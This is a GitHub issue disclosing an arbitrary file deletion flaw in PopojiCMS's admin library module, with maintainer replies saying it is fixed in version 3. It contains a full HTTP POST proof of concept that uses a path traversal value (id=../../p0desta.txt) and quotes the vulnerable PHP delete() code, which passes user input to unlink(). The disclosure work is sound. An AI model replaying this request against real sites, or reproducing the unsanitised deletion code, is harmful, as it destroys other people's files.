Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

I found a background arbitrary file deletion vulnerability #15

Closed
p0desta opened this issue Oct 30, 2018 · 2 comments
Closed

I found a background arbitrary file deletion vulnerability #15

p0desta opened this issue Oct 30, 2018 · 2 comments

Comments

@p0desta
Copy link

p0desta commented Oct 30, 2018

    POST /PopojiCMS/po-admin/route.php?mod=library&act=delete HTTP/1.1
    Host: www.test.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 20
    Referer: http://www.test.com/fiyocms/
    Cookie: iCMS_USER_AUTH=dc043aa07gOqcLfWTuJoLSCrKIkbJNa8SPGk1VUKhacikJl4JxbrK2aBNBbk0bbmKnQwweqtz7vvJ93P2lLGBzezHER9aEK_HMs0_39QpgM5hSdhCCNxDv8Lwtx1RRqZEVpWUZBwAjJe9476soMuCC6-gJ1e_mfMMhYSA8ioWG1OUFUvUW07tVg5F0RUP2oamPz91F-t85bDNOEnubfHpxzFMND3EABDYJN0o1HfVweojEDYaxs-l6VEiuc0fFUlm-MIZXnd5xe1h6std5cCRwRCS_H71q-oTNO3NbuyojT9HVlCafwxmz7BTlmfIRHeADx7DImb_UyY_daATbgMffPsEHs4KApMstm9pbT4D53E8YbyCAnCDog4MQ7tV3snwpSRufPJCdeY3fkJUFyDhfbqTiJXEAxAcOWCoxGwLXWPI-Ns9Tyjh4WJChqpy0_gwa3JSszGZOQZaAf86KqeDKdct-YSE2UN6qwRVvUeOijMZrdzPxaqt_1OzlhDeBPlM4UW4xQMh7VQ3q5TcfpIHclZWiAspuU8Ynnj3XEwAo8; iCMS_userid=b8423c8bm9SnzUz782Y6XmtRdU1dTR3CL9iqL-Iv83vI7htnIg; iCMS_nickname=c3bc646dcSTyka3txmYpDcMW2sUPNhaunl7kIzv0Nf_89GTeIZNk; SESScc7018fb7c828d13ca316e4ca4f83f45=reN7QmxRtg9oImYLl_d5_ZsuNHhcU1_umYek0QW3BUc; PHPSESSID=5o4r0qmiao4kna434n7kdbnn14
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    
    id=../../p0desta.txt

Vulnerability analysis:

Look at line 167 of the code admin_library.php

    	public function delete()
    	{
    		if (!$this->auth($_SESSION['leveluser'], 'library', 'delete')) {
    			echo $this->pohtml->error();
    			exit;
    		}
    		if (!empty($_POST)) {
    			if ($this->postring->isImage('../'.DIR_CON.'/uploads/'.$_POST['id'])) {
    				if (file_exists('../'.DIR_CON.'/thumbs/'.$_POST['id'])) {
    					unlink('../'.DIR_CON.'/thumbs/'.$_POST['id']);
    				}
    				if (file_exists('../'.DIR_CON.'/uploads/medium/medium_'.$_POST['id'])) {
    					unlink('../'.DIR_CON.'/uploads/medium/medium_'.$_POST['id']);
    				}
    				if (file_exists('../'.DIR_CON.'/uploads/'.$_POST['id'])) {
    					unlink('../'.DIR_CON.'/uploads/'.$_POST['id']);
    				}
    			} else {
    				if (file_exists('../'.DIR_CON.'/uploads/'.$_POST['id'])) {
    					unlink('../'.DIR_CON.'/uploads/'.$_POST['id']);
    				}
    			}
    			$this->poflash->success($GLOBALS['_']['library_message_2'], 'admin.php?mod=library');
    		}
    	}

You can see that you want to delete the image. If it is not the image, it will be deleted. Then we can delete any file across the directory.

@DwiraSurvivor
Copy link
Contributor

Terima kasih untuk temuan ini. Kami sebagai pengembang akan segera memperbaiki masalah ini di versi berikutnya.

@DwiraSurvivor
Copy link
Contributor

Sudah diperbaiki pada versi 3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants